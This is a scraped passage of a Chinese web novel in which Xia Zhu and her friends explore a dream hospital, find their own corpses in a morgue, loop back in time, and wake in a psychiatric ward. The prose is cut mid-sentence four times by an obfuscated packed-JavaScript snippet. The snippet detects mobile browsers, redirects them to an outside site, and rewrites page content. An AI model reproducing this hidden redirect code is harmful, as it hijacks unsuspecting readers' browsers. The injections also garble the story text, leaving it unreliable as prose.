“什么?”风枫侧着耳朵,一脸疑惑。 “没什么。” 为上次被抢夺石头出了口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975144|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恶气的风枫,心情愉悦地回到了处理台上,继续让哥哥帮她包扎伤口。 夏烛不自觉地朝门口看去,从这个角度她只能看到赢惑瘦弱的下颌和苍白的颈脖。他就靠在门框上,和屋内的人隔了不近的距离,不算在内,也好像不愿意出去。 明明比风眠还要高出一个头,却像薄薄一片贴在那边,夏烛忍不住想象他那把细腰如何轻易就能被缝合怪折成两截。 大家差不多处理好了伤势,并且休整了一番,打算出去探索一下新地图,还没走出房间,门外面就响起了凌乱的脚步声。 嬴犽是除了赢惑外站得最靠近门口的人,他先发现了动静,然后回头示意众人噤声。 听起来不止有一个人正在向这边靠近。 众人立马紧绷起来,放轻动作打算找个掩护先在房内躲上一躲,没想到站在门边的赢惑却提前一步跨了出去。 “这边来。” 他甚至朝着外边招了招手。 “NPC。”头偏向屋内解释了一句。 脚步声犹犹豫豫地朝夏烛她们所在的房间过来,竟然是四五个普通人出现在了门口。 但这并不表示可以放松警惕,大家都没有忘记入梦的目的,她们要找的魉也许就在这群人中间。毕竟它总爱创造出一堆角色陪自己玩这个沉浸式的游戏。 简单交涉之后,得知这群人也和她们一样,两两成队在病房内醒来,一些同伴早在最初的黑暗中就因为呼吸或者动作而被怪物直接扼杀,所以只剩下不到一半的人存活下楼。 算上为剧情已经光荣牺牲的角色,一共9组,18个人。 “你们…你们能救我们出去吗?”一个男人缩头缩脑地躲在同伴身后,神色不安地询问她们。 “当然当然啦!不过前提是得乖乖听指挥!”风枫倒是乐意玩扮演游戏,她大大咧咧地走到NPC队伍里,一边一个搭上队伍里女孩的肩膀,“好了!第一个任务,就是先一起探索地图吧!”然后领着人把赢惑挤到一边,走出了房间。 夏烛和姬无愁对视了一眼,也跟了上去。 穿过走廊,推开防火门,众人来到了类似医院大厅的地方。这里相较别处宽敞又明亮。孤零零的咨询台就位于不断闪烁,似乎电路接触不良的大屏幕下方,少许资料单和宣传册堆放在台面上。大厅周围一水儿的落地窗,甚至有刺眼的阳光穿过,投在整整齐齐排成排的蓝色等候座椅上。 座椅上还有不同程度的真实磨损,这里就像一个真正的医院。除了没有进出的门。 灰尘粒子在阳光中跳动,光线照在手臂上竟然能感受到温度。这个地方有种说不出的宁静,但越是如此越是让夏烛觉得恐惧。 那些毛玻璃似的窗户,最大限度地照进明亮的光辉,一格一格却始终看不清窗外的景象。她有一种不好的预感,这种预感让她下意识远离窗户,类似的布局太过于刻意,宽敞明亮通透,但就是无法看清外面的世界,就好像她们这些人是被封在橱窗内用于展示的物品。 明晃晃的玻璃外随时会出现一只巨大的眼睛紧紧贴在上面,试图看清陈列品的细节。 夏烛低头看向自己被包扎起来的手臂,盯着姬无愁给她系的蝴蝶结发呆。她始终认为,无论是对于玻璃窗的抵触,还是相力的消失,也许都和九天大会上的预言有关。 如她们入梦前的猜测,也许魉越强大,对不明官的影响就越是严重。比如人鱼魉所在的梦境,会通过精神折磨而让不明官产生变异,如今这个还不知底细的梦,在一开始就能让所有人失去相力。 这个梦的魉,究竟已经进化到什么地步了。 还有最关键的一点,夏烛屈起手臂,伤口在这个姿势下会被轻微地拉扯开,刺痛能让她保持敏锐。 那把不锈钢的折叠椅,以及墙上去到一楼救风枫的指示。 到底是谁在暗中指引夏烛。 也许搞清楚这一点,魉的问题就能迎刃而解了。 55.圈(三) 不知道出于什么原因,夏烛认为她们时间紧迫,不能浪费在无头苍蝇式的探索了。于是她们六个人以讨论事情为由来到了大厅左侧的某一间诊室。 她想告诉大家自己关于魉的猜测,这个梦境也许没有想象得那么简单,只是一层层重复打怪而已。可是会议还没有正式开始,诊室外面就传来了此起彼伏的尖叫声。 一个女孩气喘吁吁地跑到门口,她的鞋底沾满了浓稠的鲜血,夏烛记得风枫之前搭过她的肩膀。 “怪…怪物!怪物又来了!”她满头大汗像是刚从水里出来,手藏在墙后面指着大厅的方向。 忽然一根光秃的肉刺穿过女孩单薄的身体,声音像是穿透一床棉花那样轻飘飘。 她不敢相信地低下头看向贯穿自己的凶器,疑惑比疼痛先一步来到,她半张着嘴还想说点什么,一股强大的力量扯着她的身体拖行而去。 几个人赶紧冲出诊室沿着地面上的血迹一路追到大厅。惨叫声已经停止,昭示着这一场单方面屠杀的结束。 浓稠的血液像一条红毯一路铺到夏烛的脚下。三只怪物餍足地徘徊在五具尸体周围。 所有的NPC全都死亡,一个不剩。 身边的姬无愁已经握着消防锤像一只愤怒的猎豹一样冲了出去,善良的女孩也许正在为剧情中的非玩家角色感到难过。 可是。 不对,有什么东西不对劲。 夏烛站在原地,双脚像被钉在地面上那样无法挪动,只能看着姬无愁的身影在三只怪物之间跳跃。 她的后背浮起一层密密麻麻的冷汗。 NPC无一幸免,但这个梦境还在进行。 那就说明,魉不在这五人之间。那就说明,它此刻仍在暗中,像是一场戏剧的导演或者即将拍下橱窗内精美器具的消费者,带着审视的目光于阴影中欣赏着众人的一举一动。 夏烛如坠冰窟,但即便如此,她的同伴已经投入到新一轮的战斗中了,她也无法做到冷眼旁观,索性再次握着小剑冲进了尸山中。 地板上粘稠的血液一下又一下地吸附鞋底,在不知不觉中让夏烛的动作变得迟缓,她的小腿不出意外地传来尖锐的剧痛。 新一轮的缠斗在汗液与血水中平息。 风眠始终沉默地站在一边,夏烛抬眼与他对上了视线。 “总觉得,哪里不太对劲?”他皱起眉头,心里有一种奇怪的感觉。 “魉,不在这些人当中。”夏烛指了指堆在一边的NPC尸体。 “还有,这些怪物甚至毫无新意,只是一轮又一轮的攻击,就连这些人的死亡都…”姬无愁也看出了什么。 就连这些人的死亡都好像是剧情提前设定好的。 即便察觉到了其中的怪异之处,但对于破解之法她们依旧毫无头绪。夏烛低头用自己的衣摆擦着小剑,风枫的声音从走廊口传来。 “这是…” 她背对着众人弯下腰去,似乎从地上捡起来了什么。整个过程缓慢到诡异,直到风枫拿着那东西转过身来,不知所措地看向夏烛。 “阿烛,是你送俺的艾草香包。” “可是…”风枫皱起眉头,眼睛里的疑惑快要溢出来,“可是,香包一直在我身上啊。”她低下头,用掌心将腰间的绿色小包托起。 “为什么,会有两个一模一样的香包?” 夏烛的眼眶微微扩张,她首先将手伸进衣服内兜,爷爷亲手缝的艾草香包还在里面,并且两个香包的款式并不一样,她当初为了送给风枫特意在香包上绣了一片针脚幼稚的枫叶。 所以,她看向风枫手里那个和她腰间一模一样的香包,一股来自骨髓深处的刺痒从尾椎一路攀上大脑皮层。 意识还没有彻底恢复,夏烛就已经走到了风枫身边,她没头没尾地说了一句:“没关系。”然后用手轻轻拍了拍她的肩膀。 没有人说话,一种诡异的气氛在众人间游走,如同一只无形的鬼手,带着潮冷的气息抚摸过每个人的肌肤。 夏烛无目的地环视四周,目光停在了墙壁上的一张楼层导视图。 导视图显示这家医院一共有四层楼,夏烛醒来的房间位于医院的三层,此刻的大厅是一层,而NPC大概设定在二楼醒来。 所以,医院还有一个负一层。 负一层旁边没有标注名称,而是只有一个黑色的圆圈。 “我们去负一楼看看吧。”她有一件事想要去确认,所以,即使这个圆圈看上去充满了不详。 她们再次由消防通道下到了负一层。 这里的温度比地面上低了很多,光线也昏暗。风枫甚至明显感觉到了冷,没有了相力在体内,她们的体质比普通人好不了多少。 面前被一扇厚重的防火门挡着,夏烛和姬无愁要合力才能推开。 门刚打开一条缝隙,阴寒的气息就从门后溜了出来。 “不是很妙啊,医院的负一楼。”风枫忍不住吐槽,双手抱着胳膊企图温暖一下自己。 锈掉的门轴嘎吱响着,声音在死寂的空间中显得格外惊心,风枫的心蹦蹦直跳,下意识往前抓住了夏烛的衣摆,虽然有点害怕,但是兴奋更甚,倒是有一种鬼屋探险的刺激。 夏烛和姬无愁走在前面,风枫和嬴犽跟在身后,而风眠和赢惑则在队伍的最后面一言不发。 尤其是赢惑,和风枫争吵之后,他似乎有意识地在降低自己的存在感。 门后依旧是一条长长的走廊,只是两侧不再有诊室或者病房,头顶也没有照明灯,冷冰冰的墙壁上镶嵌着幽暗的安全出口标识。 绿光照在每个人的侧脸上。 走廊上没有光源,唯一的亮光来自尽头某个大门敞开的房间。 光线模糊了屋内的情形,只明晃晃地吸引误入此地的人继续前行。 夏烛在一个无意识的吞咽后迈出了向着尽头的脚步。她有一种预感,道路尽头似乎就藏着答案。为了避免黑暗中有怪物袭击,众人都放轻了脚步,一个跟着一个地贴着墙面行走。 长方形的光斑似乎就在不远处,可这条路她们走了很久很久,久到夏烛的额头上都冒出了汗珠,小腿处的伤再次发作。 “这就是…”她们终于看清了这间唯一亮着光的房间,也明白了为何这里的空气如此阴冷。 空旷到诡异的房间内有整整三面墙的冷藏格,密密麻麻无数个不锈钢抽屉严丝合缝地嵌在金属框架内,像一个极致冰冷的工业蜂巢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15980740|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “这就是停尸房吗?第一次见诶!” “这当然不是普通的停尸房,一座只有地上三层楼的医院,会需要这么多冷藏格吗?”风眠的声音从门附近传来。 粗略看过去,这里至少能停放几百具尸体。 风眠说的没错,什么情况下一家规模不大的医院会拥有这么多尸体。 头顶的白炽灯明晃晃地照着,一尘不染的地面和散发银灰色光泽的金属抽屉上都倒映着众人摇摇晃晃的身影。属于她们自身的颜色某种程度上破坏了这间停尸房的秩序,就像永恒的冰块开始融化,有什么东西要从封冻中淌出来了。 空间的上方似乎隐藏着巨大的制冷系统,正在孜孜不倦地往这间屋子输送冷气,天花板内不断传来低沉,恒定的嗡鸣。这种声音并不令人烦躁,反而像是冰冷而机械的心跳正在努力填满这个空虚的房间,又或者是一首漠然的祷文。 总之无比和谐,叫人听了昏昏欲睡,干脆想拉开某一格金属抽屉躺进去,睡上酥软骨头的永恒一觉。 整个空间中除了这些冒着寒气的隔间,入口处的墙壁上嵌着一面突兀的挂钟。夏烛走到挂钟下方,发现时间停止在了三点整。 “停尸房里,就是停放尸体吗?” 风枫的声音被嗡鸣声压制,带着不真切的朦胧传到夏烛耳边。 “你这不是废话…”风眠无语地接道,两人默契地朝风枫的位置看去,发现她不知何时居然拉开了其中一格抽屉。 风枫的脸色煞白,像是看见了什么恐怖的画面,夏烛注意到她那只没有受伤的手正握在抽屉的边缘,手指正在不自觉地颤抖,指节发白。 “可是,这里面是俺啊。” 她的声音诡异而冰冷地钻进夏烛的耳朵,夏烛只觉得大脑轰然一响,像是有什么东西断裂。她冲到风枫面前,握着她的手,低头同看向冷藏格。 原本健康的皮肤呈现出一种寂然的灰白,那些可爱的雀斑如今却和青紫色的尸斑混合在了一起,双眼紧闭,长长的睫毛覆盖其上,理应丰盈的嘴唇毫无血色地翻着死皮。 她说得没错,停尸格中躺着的正是风枫。甚至衣衫整齐,皮肉完好无损,仿佛只是躲在里面睡了一觉。 妹妹毫无生气的脸突然出现在停尸房内,这种视觉冲击让风眠忍不住想要呕吐,他咬破了口腔内的软肉才让自己不至于真的吐出来,铁锈的味道充斥整个口腔,他毫不犹豫地拉开了另一格抽屉。 而这个新展露在众人眼前的抽屉里正躺着同样苍白而毫无生气的“风眠”。 刚刚那种极大的悲伤在风眠的脸上转为疑惑。 “这、这到底是怎么回事?我们已经死了吗?” 说着他像是想起来什么,立刻拉开了自己“尸体”上方的另一个抽屉。 他想过这里面也许是“嬴犽”,也许是“阿烛”,但他无论如何也没想到,抽屉里是第二个“风眠”。他下意识后退一步,下肢有些浮软,忍不住抬起头来与在场之人一一对视,最后停留在了夏烛的脸上。 她正以一种绝对的冷漠盯着抽屉中的三具尸体。 烟雾般缭绕的寒气下,苍白的“风枫”突然睁开了那双夏烛再熟悉不过的蜜色眼睛。 56.圈(四) 一切发生得太快,放置“风枫”尸体的抽屉瞬间变为一个蛇窝,无数毒蛇一样的黑色藤蔓从它体内爆出,扭曲蠕动着将魔爪伸向离得最近的风枫。 那些腐败根系一样的植物狡诈地缠上了风枫的颈脖,一圈圈用力收缩,她的手边没有任何防身的器具,只能伸出手向外拉扯根本纹丝不动的藤蔓。 只是从右往左看过去的这么一秒,就能让夏烛眼前天昏地暗,她的大脑还来不及处理看见的画面,手里的小剑就挥了出去。 再快一点。 身体的指令让她的手腕发麻,斩断藤蔓的那一刻,夏烛听到了某种让人心惊的断裂声,她转头去找风枫的眼睛,但那双永远湿漉而明亮的存在却像一根真正快要燃尽蜡烛,火光随着末尾的灯芯而熄灭。 风枫向后仰去,微张着嘴,好像要告诉她什么。 但是她不会再听到了。 她甚至没有来得及抓住她的手。 身后的冷藏抽屉发出闷响,夏烛茫然地回头,那里有两格被打开的抽屉,正以肉眼可见的速度结出薄冰,姬无愁刚刚就站在她的身后,此刻却呆滞地低着头看向那根刺穿自己胸膛的锋利冰刃。 血水一接触冰面就会立马冻结。 “为什么?” 夏烛听到自己喉咙里发出陌生的声音,滑稽地像某个正在台上表演的小丑。 所有的事情几乎是在瞬间发生的,她扫了一眼地面上躺着的风眠和嬴犽,血液像是电视剧中的特效道具,夸张地将两人的身体浸没。她还看见了始终站得很远的赢惑,不再说着讨人厌的话破天荒地静静靠坐在门边,灰色的双眼紧闭,吝啬般不往这边投来一个轻蔑的眼神。 有那么几秒,夏烛快要感受不到自己的呼吸,大脑发懵的程度,就像她的头只是一面表演需要的鼓,到了关键节点就被狠狠敲击,敲出一场充满反差的,轻飘飘的梦。 她下意识地看向自己的右手。依旧僵直地握着那把短剑,属于她的反应速度,也只是堪堪斩断已然绞碎风枫颈椎的藤蔓而已。 指节在不受控制地颤抖,夏烛的眼神当中升起藏不住的厌恶之情,她开始憎恨自己的身体。 一定是在做梦。 一定是。 她收起脸部所有扭曲的肌肉,又变回平时那一副木讷的表情。 现在要做的只是醒过来而已,噩梦,不过是一个真实的噩梦,真实到空气中刺鼻的血腥味快要令她呕吐。她已经没有任何思考能力了,甚至连悲伤都感觉不到,只有一种莫名的愤怒淤堵在胸口,呆呆地盯着脚尖,地面倒映着明晃晃的光圈。 忽然,脚下的光圈一闪,所有的光线都被吞没,比起黑暗,世界更像是陷入一种虚无。夏烛眨眨眼睛,眼部肌肉的抽动证明她仍然以肉身存在着。虚无之中像是有什么东西正在慢慢变化。 转机。 她把一切变化都看作是转机。 没错,夏烛一直奉行的人生准则不就是只要还有呼吸,一切都不算结束吗。 她慢慢地蹲下身子,静静等待着黑暗褪去。 两秒,三秒,五秒…十秒… 这十秒简直有一个世纪那么漫长。 头顶的白炽灯又重新亮了起来。 比起视觉,夏烛首先闻到了一股浓烈的消毒水味,配合着眼前看到的景象,她确定转机真的降临了。 停尸房内已经恢复如初,像她们刚到这里时看到的那样。 没有鲜血,没有同伴的尸体,只是冷冰冰地散发着银灰色的寒气,密密麻麻的抽屉严丝合缝地镶嵌在金属框架中,像一个极致的工业化蜂巢。 夏烛尽量让自己保持冷静,重新观察一遍周围的环境。 整齐且重复的视觉效果,如果不仔细也许就会漏掉一些细节,就像是纸媒盛行的年代,杂志最后一页司空见惯的解密游戏。 在这些一模一样的抽屉之间,一片被挤压变形的绿色布料正夹在几乎看不见的缝隙中。夏烛盯着那块极小的绿斑,紧握的手心又松开。 “叮——” 清晰的声音从门外的走廊尽头传来。 夏烛仔细回想了一下,应该是电梯运作,或者到达指定楼层的提示音。她没有犹豫,径直走出了这间停尸房,穿过黑暗的长廊最后停在了这一层的电梯前。 周围仍然漆黑一片,只有电梯按键上方的屏幕亮着微弱的白光,勉强能照亮紧挨着的上行按键。 屏幕里静静显示着数字“3”,那是夏烛第一次醒来的楼层。 她伸出一根手指贴在冰凉的按键上,数字开始翻转变化,“3、2、1、-1”。 “叮——” 电梯门缓缓打开,门上质量并不好的铁皮微微晃动。她看到一张冷淡的脸出现在电梯里的镜子内。 夏烛的手从下往上,最后同样停在了“3”上面。 门再次缓慢地合上,走廊另一侧属于停尸房的光亮逐渐消失在门缝中。既然她是在三楼醒来的,那么就去初始地探探究竟。电梯轻晃,夏烛的心跳隐隐加速。 和她猜测的一样,三楼的走廊还是和她刚醒来的时候没有任何变化,既没有那只被刺中眉心的缝合怪尸体,在战斗中破坏的设施也都完好无损。从黑暗恢复光明的那十秒钟,所有东西似乎都被重置了。 两侧的房门紧闭,头顶的灯光过分直白的照在人身上,走廊上静悄悄的,夏烛从电梯出来后鬼使神差地走到了另一侧的拐角。 医用的推车还靠着墙,上面摆放着红药水,听诊器和温度计,但墙上却没有用药水画下的枫叶和符号。 她的眼睛停在那一堆器物上,若有所思地伸出手想拿起其中一件来看看。 突然,走廊上传来门锁转动的轻微声响。夏烛一惊,将整个身体藏在墙后面,随着某扇病房的门被推开,她小心翼翼地往外露出一双眼睛。 瞳孔一瞬间放大,原本紧贴在眼球上隐形眼镜边缘忽然翘起细微的缝隙,镜片往下一滑。夏烛不得不靠着使劲眨眼来重新调整镜片的摆放位置。 有两个人一前一后走出了病房。 那是她和赢惑。 夏烛不可置信地看着自己和赢惑站在走廊上,茫然地摆动着脑袋,似乎无法做出往哪个方向走的决定。 下一秒,一个黑乎乎的身影从身后的门里撞了出来,由于惯性那东西破开门后直直撞到了对面的墙上。 人不人,狗不狗。 “夏烛”和赢惑见状十分默契地转头就朝着另一边的电梯奔去。 不能让她们坐电梯走,风枫还在一楼和那三只怪物缠斗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990074|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏烛的脑海里莫名地出现这一条讯息,下意识的偏过头,她的脚边,医用小推车旁立着一把折叠椅,不锈钢的骨架,黑色的布面椅背,像是某个病人家属随身携带,以便看护的时候没有多余的座位休息。 她没有犹豫,拿起折叠椅砸向那只正在奋力追着“自己”和赢惑的缝合怪。 砰得一声,椅子砸中了怪物的后背,摔在了地上顺势滑倒了“夏烛”的脚边,“夏烛”不由自主地停住了脚步。 她意识到自己将要转身,立刻藏到了墙后面。 心脏一下又一下撞击着胸口,她低头看向自己那只没有过受伤痕迹的手,在它拿起折叠椅并且扔出去的那一刻,夏烛就明白了一切。 那个藏在暗处指引她的人,从来就是夏烛自己。 没有时间了,那种莫名的紧迫感又涌了上来,似乎她此刻正站在悬崖边上,碎石正在脚后跟簌簌往下掉。 她拧开推车上的红药水瓶盖,用手指蘸了药水在墙上迅速画下一片潦草的枫叶,以及“1L”的字样。指尖挨着墙面停顿了一秒,她再次蘸取药水,在枫叶下加上了一个“-1L”并在上面画了一把大大的叉。 不知道出于什么原因,她潜意识里认为“夏烛”与夏烛不能见面,就像象棋中的王不见王,将与帅不能处在同一条直线上。 否则,也许结局就不会被改变,剧情也不会按照既定的路线推动。 她拧紧瓶盖,走廊上的打斗已经平息,脚步声正往这边快速逼近。夏烛转身,随意拉开了最近的一扇门躲了进去。 汹涌的阳光流水一样蔓延。 身体昏沉,四肢发软,那种感觉像是昨晚偷跑出寝室到操场上疯狂跑了几十圈一样,只要稍微一动,关节和肌肉就开始发酸,夏烛莫名想到了被反复捶打而变得筋道的鱼丸。 她努力睁开眼睛,明亮的阳光让她一时无法适应,只能重新合上眼皮,让光线透过眼皮上的血管,在视野里营造一片殷红。 她在心里默数到二十,再次睁开。 纯白色的天花板,老旧钨丝的吊灯,刺鼻的消毒水味,以及带着阳光味道的微风将一旁的白色窗帘高高扬起,争先闯进她的视野边缘,像一只白色的小鸟从光洁的玻璃窗缝隙闯了进来。 夏烛花了很长的时间,回想自己身处何地,但是大脑似乎少了一些部件,无论如何行到某处就会被堵住。她干脆放弃头脑活动,突破疲惫身体的极限强行坐了起来。 她正躺在一张单人床上,床背后是闪烁着各色指示灯的集成面板,连接着泛着冰冷金属光泽的监护仪和输液泵,不锈钢的杆子卫士般沉默地立在一侧。 床头的抽屉上放着一束快要开败的鲜花,显然已经离开土壤很久了,粉色的纱网将花束缠绕,最后再用粉色的亮面绸带打上一朵精致的蝴蝶结。枯黄卷边的花瓣之间立着一张粉色的贺卡。赠送者似乎认为只要是女生,就会偏爱粉色。 夏烛犹豫了一下,抬起酸疼的手臂将那张贺卡抽了出来。 “早日康复。 ——高三十五班全体师生。” 她突然觉得有些好笑,赌气般把贺卡重新扔回花束里。 早日康复?开什么玩笑,她为什么,她怎么会,又在一间看样子再平常不过的普通病房里醒来。 57.圈(五) 病房内的一切都有一种说不出的真实感。 甚至让夏烛以为她已经完成任务或者念过反咒出梦了。那种真实感并没有梦境刻意描绘出来的诡异。 例如此刻,被阳光烘烤后燥暖的微风吹进房间,光斑照在地面上,磨损的地板露出一些潮湿的印迹。 还有那一束品味恶俗的花。 高三十五班,确实是她所在的班级。 这还是第一次,梦里出现了和她遥远生活相关的讯息。 早日康复?所以她是生什么病了吗? 夏烛茫然地低下头,惊恐地发现自己身上的衣服居然换成了蓝色条纹的宽大病服,这就意味着… 她掀开被子全身上下摸索了一遍。 枕头下,抽屉里,都没有。 她的小剑不见了,包括姬无愁送她的储物冰球。 夏烛跌跌撞撞拖着快要散架的身体冲进这个独立病房自带的卫生间。对着那面溅满水渍的镜子扯着自己的衣服和头发来回地看。 她以一个奇怪而扭曲地姿势背对着镜子,努力九十度转过头,发现这件粗糙干硬的病服后面写着六个蓝色的大字。 “东山第四病院。” 夏烛听说过这个医院,大名鼎鼎的精神病院。 她呆在原地,一时之间无法理清头绪。想着这次梦境的魍魉果然厉害,能够让这些幻想变得如此充满细节。 梦? 这个念头一冒出来就吓了她一大跳。梦?梦里梦外究竟哪个是真实的。 “醒”这个界限又如何去定义呢? 她的脑子里不受控制地闪过一些片段,是去年高考后学校组织的一次心理咨询活动,教导主任让那个请来的专家特别关照一下自己,说夏烛虽然成绩优异,人也聪明,但亲人不巧刚刚去世,也许是压力过大,才造成了缺考的行为。 紧接着又闪过班主任坐在绿荫下的办公室,语重心长地跟她说:“抓好学习的同时也要适当放松呐,咱们要劳逸结合是不是。”然后将滑到鼻尖的眼镜重新推了回去。 那些画面就像在暗室里刚刚洗好的胶片,黏腻的潮湿的,语调和面孔渐渐在拉长的光影中变形。耳边传来夏天格外聒噪的蝉鸣一声声嘶哑,吵得她头晕脑胀,胃部像被一只手给狠狠拧在一起,她的喉咙一紧,泛起的恶心感使暴露在外的皮肤起了一层密密麻麻的鸡皮疙瘩。 夏烛最终撑不住,扶着洗手池边缘呕吐起来。 可她的胃里什么也没有,只能痉挛着呕出胃酸。 她拧开水龙头,水流冲刷着秽物,也勉强抚慰了一下她的耳朵。 蝉鸣。 她分明记得新年才刚过去,春天还没来到。 夏烛用冷水洗了把脸,勉强恢复了镇定,她将脸凑近镜子,仔仔细细地审视着镜中的自己,那种既陌生又熟悉的感觉。 两边的耳垂上各留有一个陈年的环痕。 眼睫毛抵在镜子的表面,睫毛根部会在眨眼的动作下微微发痒,她注意到自己棕色的瞳孔边缘有一圈淡淡的痕迹。 夏烛深呼了一口气,重新回到病房中,她先是来到窗边往下看,楼下是医院的花园,绿树在风中招摇,花园里零落的长椅上坐着一些穿着相同款式病服的人,身边或有医护人员或者家属陪伴。 她又走到门口,趴在门上通过玻璃朝走廊上看,来来往往的医生护士,和偶尔拿着慰问礼品的家属好友。 一切都正常得不可思议。 夏烛回到病床上,沉默了几分钟,突然拉开床头的抽屉。里面只有她的小灵通和一张身份证。 瞅了一眼身份证上那个呆呆的自己,她不打算碰它,因为证件原本应该待在她随身携带的双肩包内,而不是这里。 拿起了手机。 摁亮屏幕,夏烛感到一阵心力交瘁。 就连唯一标志梦境与否的手机上,都无比正常地显示着某年某月,15号。 不是32号。 这真的不是梦吗。 她展开双臂仰面躺进床里,盯着头顶微微晃动的吊灯发呆。意识开始连带着她对于身体的感官往上漂浮,漫无目的地巡游在信息之海中。 因为精神和身体上的疲惫,夏烛并没有刻意往破解困境的方法上去思考,而是单纯的放空。这种办法通常是有用的,毕竟她在没踏入不明官世界之前,人生有一大部分都在人群里发呆。类似于将身体变成数据和信息的载体,尽可能多且没有负担进行容纳。 当这些数据和信息足够丰富的时候,答案就会自然而然地向上浮出水面。 医院。 这个特殊的地点是两处梦境唯一重合之处。 而一所正规的大型医院,即使在装潢和擅长学科有所不同的情况下,有一个地方一定是一样的。 那就是。 只用于存放遗体除此之外没有别的企图的,停尸房。 因为死亡不可避免。 夏烛从床上坐起,她找了一圈也没有在这间病房中找到别的衣物。只好就着身上的病服出门看看,虽然有些醒目和滑稽。 她走到门边,将手放在门把手上,祈祷着她的“病情”还没有严重到需要被锁在房内,然后往下一压。 好在门顺利打开,一种莫名的兴奋从脚底涌了上来,越是去避免自己适应病人的身份,越是容易往那方面靠近。就连这股兴奋感,也让夏烛有种自己好像确实不太正常的错觉。 但无论如何,只要去到那里,一切就会结束,也许她能见到风枫,风眠,算算时间,她似乎和大家分开很久了,于是这种兴奋有了名叫思念的代名词。 她一定要见到她们,生机勃勃的她们,无论如何。 夏烛贴着走廊的墙壁行走,让自己看起来尽量正常一点。 但是一出门她就感觉到了不妙,这确实是一家大型医院,医护人员以及来往的家属,咨询的病人都很多。唯独少了像她一样,穿着病服明显已经收入院中的病人。 也对,像她们这类需要住院稳定病情的精神病患者,按理来说是不能随意走动的。 但是已经迈出了这一步,夏烛只能硬着头皮继续走,好在一路上只遇到几个埋头工作没空搭理她的护士。 以防电梯上人来人往,遇到医生的概率更大,夏烛沿着安全出口的标志一路摸索到了消防通道,打算从楼梯往下。 通过昏暗楼道里的标识,确定了她所在的病房极其巧合的位于三楼。这个发现让夏烛很是激动,那些存在于内心深处的片刻怀疑都烟消云散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15999862|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。她有预感,这家医院的负一楼一定会有一间一模一样的停尸房。 一路畅通无阻,除了来到一楼的时候遇到了一个推门而入的病人家属,他刚从怀里掏出打火机,看样子打算来这里抽上一根。对于病号夏烛的出现,他也只是抬抬眼皮。 而负一楼,熟悉的阴冷空气让夏烛忍不住频繁地呼吸,不仅是空气,这扇沉重的防火门,门上残存的胶印,锈迹斑斑的把手,都和她之前来过的地方一模一样。 她怀着巨大的喜悦推开了门。 熟悉的幽暗长廊,熟悉的尽头光源,没错了,那里就是同一间停尸房。也许只要重新进去,一切就会重置从头开始,她已经想好了,这一次一定要在尸体动手之前救下所有的人。 边想着,她边向着光亮的房间奔去。 这一段不远的路却似乎怎么也无法抵达,她本就酸疼的肌肉已经延展到极限,有一些部分在她不要命的动作下瞬间变得僵直抽动,脚下一个趔趄,夏烛被绊倒在地。 这一下是硬生生地摔下去的,她的手甚至无法做出抵御的动作,左侧身体狠狠砸在了冰冷的水泥地上,发出巨大的声音。 有几秒甚至无法动弹。 但希望就在前方,没有在这里停止的理由,夏烛挣扎着重新站起来。 “谁在那边?”一个男人的声音从身后传来,紧接着就是快速逼近的脚步声。 夏烛心中一惊,这个陌生的声音代表着来人不如她所期待,而是别的医护人员在附近巡逻。 她不顾疼痛撑着站起身,迈开腿重新跑动起来。 “是个病人!站住!”另一道声音响起,身后不止一个人。 “站住!” 两个正常男人的速度比身体虚弱的夏烛要快上太多,他们很快就追上了她,一左一右地钳住她的手臂。 “放开我!”夏烛胡乱踢着脚,眼睛死死盯着走廊尽头那间充满光亮的房间。 “怎么有病人私自跑到这里来了?” 一束刺眼地白光打到夏烛脸上,她下意识闭上了眼睛。 “我认识她,之前也是天天逃跑,被逮回去好几次了,还说停尸房里有她的朋友。” “别说了,赶紧送回病房吧,快换班了别整得这么麻烦。”另一个男人不耐烦地收起手电筒,两人架着夏烛将她强行拖拽着。 夏烛根本听不懂男人在说什么,什么天天逃跑,她明明是第一次醒来。 